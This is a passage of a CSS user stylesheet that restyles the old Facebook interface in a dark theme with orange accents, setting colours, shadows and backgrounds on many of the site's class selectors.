none !important;}\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #FF9D52 !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #FF9D52,inset 0 0 2em #FFAA66 !important;}\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #FF9D52 !important;border-width: 0 !important; }\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #FF9D52,inset 0 0 2em #FFAA66 !important;}\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #FF9D52,0 0 1em #000 !important;}\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #FF9D52,0 .5em 1em 1em #FF9D52 !important;}\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #FF9D52;padding: 0 4px !important;}\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover {box-shadow: 0 0 1em 4px #FF9D52 !important;}\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #FF9D52;}\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #FF9D52 !important}\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #FF9D52 !important;}\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n#blueBar {box-shadow: 0 0 1em 3px #000;}\n\n.fill {box-shadow: inset 0 0 2em #FFAA66,0 0 1em #000 !important;}\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #FF9D52 !important;}\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #FFAA66 !important;}\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n.bfb_post_action_container {opacity: .25 !important;}\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #FFAA66 !important;}\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #FF9D52,inset 0 0 .25em #FFAA66 !important;}\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -webkit-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n.bumper,.stageBackdrop {background: #000 !important;}\n#page_table {background: #333 }\n\n.checkableListItem:hover a,.selectedCheckable a {background: #FFAA66 !important; }\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain {background: rgba(10,10,10,.75) !important;}\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body {background: rgba(10,10,10,.5) !important;}\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection {background: rgba(20,20,20,.4) !important;}\n\n.uiSelector .uiSelectorButton,.UIRoundedBox_Corner,.quote,.em,.UIRoundedBox_TL,.UIRoundedBox_TR,.UIRoundedBox_BR,.UIRoundedBox_LS,.UIRoundedBox_BL,.profile_color_bar,.pagefooter_topborder,.menu_content,h3,#feed_content_section_friend_lists,ul,li[class=\"\"],.comment_box,.comment,#homepage_bookmarks_show_more,.profile_top_wash,.canvas_container,.composer_rounded,.composer_well,.composer_tab_arrow,.composer_tab_rounded,.tl,.tr,.module_right_line_block,.body,.module_bottom_line,.lock_b_bottom_line,#info_section_info_2530096808 .info dt,.pipe,.dh_new_media,.dh_new_media .br,.frn_inpad,#frn_lists,#frni_0,.frecent span,h3 span,.UIMediaHeader_TitleWash,.editor_panel .right,.UIMediaButton_Container tbody *,#userprofile,.profile_box,.date_divider span,.corner,.profile #content .UIOneOff_Container,.ff3,.photo #nonfooter #page_height,.home #nonfooter #page_height,.home .UIFullPage_Container,.main-nav,.generic_dialog,#fb_multi_friend_selector_wrapper,#fb_multi_friend_selector,.tab span,.tabs,.pixelated,.disabled,.title_header .basic_header,#profile_tabs li,#tab_content,.inside td,.match_link span,tr[fbcontext=\"41097bfeb58d\"] table,.accent,#tags h2,.read_updates,.user_input,.home_corner,.home_side,.br,.share_and_hide,.recruit_action,.share_buttons,.input_wrapper,.status_field,.UIFilterList_ItemRight,.link_btn_style span,.UICheckList_Label,#flm_list_selector .Tabset_selected .arrow,#flm_list_selector .selector .arrow .sel_link,.friendlist_status .title a,.online_status_container,.list_drop_zone_inner,.good_username,.WelcomePage_Container,.UIComposer_ShareButton *,.UISelectList_Label,.UIComposer_InputShadow .UIComposer_TextArea,.UIMediaHeader_TitleWrapper,.boxtopcool_hg,.boxtopcool_trg,.boxtopcool_hd,.boxtopcool_trd,.boxtopcool_bd,.boxtopcool_bg,.boxtopcool_b,#confirm_button,.title_text,#advanced_friends_1,.fb_menu_item_link,.fb_menu_item_link small,.white_hover,.GBTabset_Pill span,.UINestedFilterList_ItemRight,.GBSearchBox_Input input,.inline_edit,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.LTokenizer,.Mentions_Input,form.comment div,.ufi_section,.BubbleCount,.BubbleCount_Right,.UIStory,.object_browser_pager_more,.friendlist_name,.friendlist_name a,.switch,#tagger,.tagger_border,.uiTooltip,#reorder_fl_alert,.UIBeeper_Full,#navSearch,#navAccount,#navAccountPic,#navAccountName,#navAccountInfo,#navAccountLink,#mailBoxItems,#pagelet_chat_home h4,.buddy_row,.home_no_stories,#xpageNav li .navSubmenu,.uiListItem:not(.ufiItem),.uiBubbleCount,.number,.fbChatBuddylistPanel,.wash,.settings_screenshot,.privacyPlan .uiListItem:hover,.no_border,.auxiliary .highlight,.emu_comments_box_nub,.numberContainer,.uiBlingBox,.uiBlingBox:hover span,.callout_buttons,.uiWashLayoutEmptyGradientWash,.inputContainer,.editNoteWrapperInput,.fbTextEditorToolbar,.logoutButton input,#contentArea .uiHeader + .uiBoxGray,.uiTokenizer,#bfb_tabs,.profilePictureNuxHighlight,.profile-picture,#ci_module_list,.textBoxContainer,#date_form .uiButton,.insightsDateRange,.MessagingReadHeader,.groupProfileHeaderWash,.questionSectionLabel,.metaInfoContainer,.uiStepList ol,.friend_list,.fbFeedbackMentions,.bb .fbNubFlyoutHeader,.bb .fbNubFlyoutFooter,.fbNubFlyoutInner .fbNubFlyoutFooter,.gradientTop,.gradientBottom,.helpPage,.fbEigenpollTypeahead .plus,.uiSearchInput,.opengraph,#developerAppDetailsContent,.timelineLayout #contentCol,.attachmentLifeEvents,.fbProfilePlacesFilterBar,.uiStreamHeader,.uiStreamHeaderChronologicalForm,.inner .text,.pageNotifPopup,.uiButtonGroup,.navSubmenuPageLink,.fbTimelineTimePeriod,.bornUnit,.mleFooter,#bfb_filter_add_row,#bfb_options .option .no_hover,.fbTimelinePhotosSeparator h4 span,.withsubsections,.showMore,.event_profile_information tr:hover,.nux_highlight_nub,.uiSideNav .uiCloseButton,.uiSideNav .uiCloseButton input,.fb_content,.uiComposerAttachment .selected .attachmentName,.fbHubsTokenizer,.coverEmptyWrap,.uiStreamHeaderText,.pagesTimelineButtonPagelet,.fbNubFlyoutBody,#pageNav .tinyman:hover,#navHome:hover,.fbRemindersThickline,.uiStreamEdgeStoryLine hr,.uiInfoTable tbody tr:hover,.fbTimelineUFI,#contentArea,.leftPageHead,.rightPageHead,.anchorUnit,#pageNav .topNavLink a:focus,.timeline_page_inbox_bar,.uiStreamEdgeStoryLineTx,.pluginRecommendationsBarButton,.pluginRecommendationsBarTop table {background: transparent !important;}\n\n.UIObject_SelectedItem,.sidebar_item_header,.announcement_title,#pagefooter,.selected:not(.key-messages):not(.key-events):not(.key-media):not(.key-ff):not(.page):not(.group):not(.user):not(.app),.date_divider_label,.profile_action,.blurb ,.tabs_more_menu,.more a span,.selected h2,.column h2,.ffriends,.make_new_list_button_table tr,.title_header,.inbox_menu,.side_column,.section_header h3 span,.media_header,#album_container,.note_dialog,.dialog,.has_app,.UIMediaButton_Container,.dialog_title,.dialog_content,#mobile_notes_announcement,.see_all,#profileActions,.fbpage_group_title,.UIProfileBox_SubHeader,#profileFooter,.share_header,#share_button_dialog,.flag_nav_item_selected,.new_user_guide_content h2,#safety_page h4,.section_banner,.box_head,#header_bar,.content_sidebar h3,.content_header,#events h3,#blog h3,.footer_border_bottom,.firstHeading,#footer,.recent_news h3,.wrapper div h2,.UIProfileBox_Header,.box_header,.bdaycal_month_section,#feedTitle,.pop_content,#linkeditor,.UIMarketingBox_Box,.utility_menu a,.typeahead_list,.typeahead_suggestions,.typeahead_suggestion,.fb_dashboard_menu,.green_promotion,.module h2,.current_path,.boardkit_title,.current,.see_all2,.plain,.share_post,.add-link,li.selected,.active_list a,#photoactions a:not(#rotaterightlink):not(#rotateleftlink),.UIPhotoTagList_Header,.dropdown_menu,.menu_content,.menu_content li a:hover,.menu_content li:hover,#edit_profilepicture,.menu_content div a:hover,.contact_email_pending,.req_preview_guts,.inputbutton,.inputsubmit,.activation_actions_box,.wall_content,.matches_content_box_title,.new_menu_selected,#editnotes_content,#file_browser,.chat_window_wrapper,.chat_window,.chat_header,.hover,.dc_tabs a,.post_header,.header_cell,#error,.filters,.pages_dashboard_panel h2,.srch_landing h2,.bottom_tray,.next_action,.pl-divider-container,.sponsored_story,.header_current,.discover_concerts_box,.header,.sidebar_upsell_header,.activity_title h2,.wall_post_title,#maps_options_menu,.menu_link,.gamerProfileTitleBar,.feed_rooster ,.emails_success,.friendTable table:hover,.board_topic:hover,.fan_table table:hover,#partylist .partyrow:hover,.latest_video:hover,.wallpost:hover,.profileTable tr:hover,.friend_grid_col:hover,.bookmarks_list li:hover,.requests_list li:hover,.birthday_list li:hover,.tabs li,.fb_song:hover,.share_list .item_container:hover,.written a:hover,#photos_box .album:hover,.people .row .person:hover,.group_list .group:hover,.confirm_boxes .confirm:hover,.posted .share_item_wide .share_media:hover,.note:hover,.editapps_list .app_row:hover,.my_networks .blocks .block:hover,.mock_h4,#notification_options tr:hover,.notifications_settings li:hover,.mobile_account_main h2,.language h4,.products_listing .product:hover,.info .item .item_content:hover,.info_section:hover,.recent_notes p:hover,.side_note:hover,.suggestion,.story:hover,.post_data:hover,.album_row:hover,.track:hover,#pageheader,.message:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find 